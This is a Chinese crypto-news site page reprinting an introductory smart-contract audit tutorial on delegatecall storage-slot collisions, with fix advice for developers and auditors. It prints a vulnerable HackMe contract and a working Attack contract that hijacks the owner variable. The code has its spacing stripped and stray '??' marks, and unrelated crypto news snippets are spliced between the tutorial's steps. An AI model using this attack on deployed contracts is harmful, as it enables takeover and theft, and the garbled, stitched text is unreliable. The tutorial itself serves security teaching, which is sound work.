火星链 火星链
Ctrl+D收藏火星链
首页 > FIL > 正文

SOM:智能合约安全审计入门篇 —— delegatecall (2)

作者:

时间:1900/1/1 0:00:00

上篇文章中我们了解了什么是delegatecall函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对delegatecall的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇——delegatecall(1)》。

漏洞示例

contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}

数据:桥接至Base区块链的资产超过1.5亿美元:金色财经报道,区块链分析平台Dune Analytics的数据,截至目前,价值151,965,185美元的资产已桥接至Base区块链。[2023/8/10 16:17:33]

漏洞分析

这次的攻击目标依然是获得HackMe合约中的?owner?权限,我们可以看到两个合约中除了HackMe合约中的构造函数可以修改合约的?owner?其他地方并没有修改?owner?的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。

是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:

攻击合约

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}

WBTC DAO计划重新设置智能合约多重签名方案:金色财经报道,管理 Wrapped Bitcoin (WBTC) 项目的社区WBTC DAO正在设置一个新的智能合约多重签名方案,以替换那些不再活跃的签名者,新的一组签名者将负责签署交易并在必要时更改Token合约。

新的WBTC DAO多重签名阈值将由11/18变更为8/13,并将保留来自原始集合的七个成员,包括Compound、Loopring、Kyber和BitGo等,新增Chainlink和Balancer。FTX、Airswap和MakerDAO等将被取消签名资格。[2022/11/26 20:46:37]

我们先看攻击流程:

1.Alice部署Lib合约;

2.Alice部署HackMe合约并在构造函数中传入Lib合约的地址;

Grayscale和Bitwise:相信现货比特币ETF将很快获得批准:金色财经报道,投资公司Grayscale 和 Bitwise 在Consensus 2022大会上表示,他们乐观地认为,现货比特币 ETF 最终将很快获得SEC的批准。Bitwise首席投资官Matt Hougan表示,SEC已经批准了一个有限的区间市场,一个基于1940年投资法的比特币期货ETF,然后最近又批准了两个基于1933年投资法的比特币期货ETF,现货比特币期货ETF也是根据这个法案提出的。这是一个以现货比特币ETF结束的进展,所以他们确实在推进,只是没有达到加密货币社区需要的速度。

Grayscale ETF全球主管David LaValle表示同意,LaValle称,不久之前,能不能通过还真是个问题,而现在这显然是一个何时发生的问题。

LaValle进一步指出,如果美国证券交易委员会在7月6日之前拒绝了Grayscale的申请,该公司将 \"非常专注于解决所有选项\"。(Coindesk)[2022/6/10 23:05:36]

3.攻击者Eve部署Attack合约并在构造函数中传入HackMe合约的地址;

南京银行发布首套数字藏品“你好鸭”:金色财经报道,南京银行发布首款数字藏品“你好鸭”, 本次数字藏品发布是以南京银行品牌IP“你好鸭”为形像基础,精心策划5大系列,共计2022款,由腾讯至信链提供可信权益证明。(北方网)[2022/8/10 12:14:46]

4.攻击者调用Attack.attack()函数将HackMe合约中的owner变为自己。

咋回事儿呢?其实这个攻击方式就是很巧妙的运用了delegatecall这个函数修改storage类型变量时的特征:delegatecall函数的执行环境是调用者的环境并且对于storage类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。

1.Attack.attack()函数先将自己的地址转换为uint256类型第一次调用HackMe.doSomething()函数;

前Robinhood高管:狗狗币在推动加密货币采用方面未得到应有的赞誉:6月19日消息,从2021年4月至2022年3月担任Robinhood Crypto COO的Christine Brown表示,“狗狗币没有得到应有的赞誉,因为它推动了加密货币的普及。此外,狗狗币增加了趣味性和可访问性,缓解了买家的担忧。”

据报道,Dogecoin联合创始人Billy Markus最近表示,在他看来,加密货币的“最简单和最好的用例”是小费,这意味着“在互联网上传播快乐”。(Cryptoglobe)[2022/6/20 4:38:56]

2.HackMe.doSomething()函数使用delegatecall函数带着传入的Attack合约的地址调用了Lib.doSomething()函数;

3.可以看到Lib.doSomething()函数将合约中存储位置为slot0的参数改为传入的值,这样当HackMe合约使用delegatecall调用Lib.doSomething()函数时也将改变自己在slot0位置存储的变量的值,也就是将lib参数改为我们传入的Attack合约的地址。此时之前在HackMe.lib参数中存储的Lib合约的地址就被修改成我们传入的Attack合约的地址了;

4.Attack.attack()函数再次调用HackMe.doSomething()函数,由于在上一步我们已经将HackMe.lib变量修改为Attack合约的地址了,这时HackMe.doSomething()函数将不再调用之前的Lib合约而是用delegatecall去调用Attack.doSomething()函数。此时我们再来观察Attack合约的写法,发现其变量的存储位置故意和HackMe合约保持一致,并且不难发现Attack.doSomething()函数的内容也被攻击者写为owner=msg.sender,这个操作修改了合约中存储位置为slot1的变量。所以HackMe合约使用delegatecall调用Attack.doSomething()函数就会将合约中存储位置为slot1的变量owner修改为msg.sender也就是Eve的地址,至此攻击者完成了他的攻击。

修复建议

作为开发者

1.?在使用delegatecall时应注意被调用合约的地址不能是可控的;

2.?在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用delegatecall进行外部调用时会根据被调用合约的数据结构来修改本合约相应slot中存储的数据,当数据结构发生变化时这可能会造成非预期的变量覆盖。

作为审计者

1.在审计过程中遇到合约中有使用delegatecall时需要注意被调用的合约地址是否可控;

2.当被调用合约中的函数存在修改storage变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的storage变量被错误的覆盖。

来源:金色财经

标签:ACKHACSOMSOMESACK价格RadioShackSomniumSOME价格

FIL热门资讯
SNX:SNX代币连涨三天币价翻倍,什么是SNX?

加密市场在低位横盘,所有加密货币普遍缺乏上升的动力,而SNX连续上涨令人意外,今天的币价已是三天前的一倍多,本期我们来聊聊SNX.

1900/1/1 0:00:00
MYRIA:Myria 能否成为链游界的任天堂?

?作者:Chloe去年,链游平台GalaGames迎来了快速增长,平台每月活跃用户达到数百万人.

1900/1/1 0:00:00
龙门金刚破圈后的再次创新中午12:20数字藏品首发数藏中国

在元宇宙概念大火之下,数字藏品领域发展趋势正猛。中国数字藏品平台也陆陆续续的开启了国潮文化的破圈之行,随之催生出各种中国文化的数字藏品。收藏风也快速走进了大众视野。河南也不甘落后.

1900/1/1 0:00:00
RSUN:获得2021最佳独立游戏奖入围作品——Earth From Another Sun

游戏概况《EarthFromAnotherSun》是由?Multiverse团队开发的一款科幻骑砍like游戏,核心玩法是最宏大的科幻第一人称射击战斗.

1900/1/1 0:00:00
RON:加密市场或迎大洗牌,跨越牛熊波场TRON已备足粮草

近期的加密行业颇有点“屋漏偏逢连夜雨”的味道。在Terra崩盘、以太坊持续暴跌以及机构集中清算等的多重打击下,市场悲观情绪快速蔓延,熊市的声音亦开始此起彼伏.

1900/1/1 0:00:00
ASI:Oasis宣布推出ROSE Bloom资助计划|申请5万美元资助|共塑Web3未来

Oasis生态推出ROSEBloom资助计划,基于Oasis网络构建加密游戏、NFT、元宇宙和DeFi项目的开发者将有机会获得5万美元ROSE资金资助以及更多其他方面的支持.

1900/1/1 0:00:00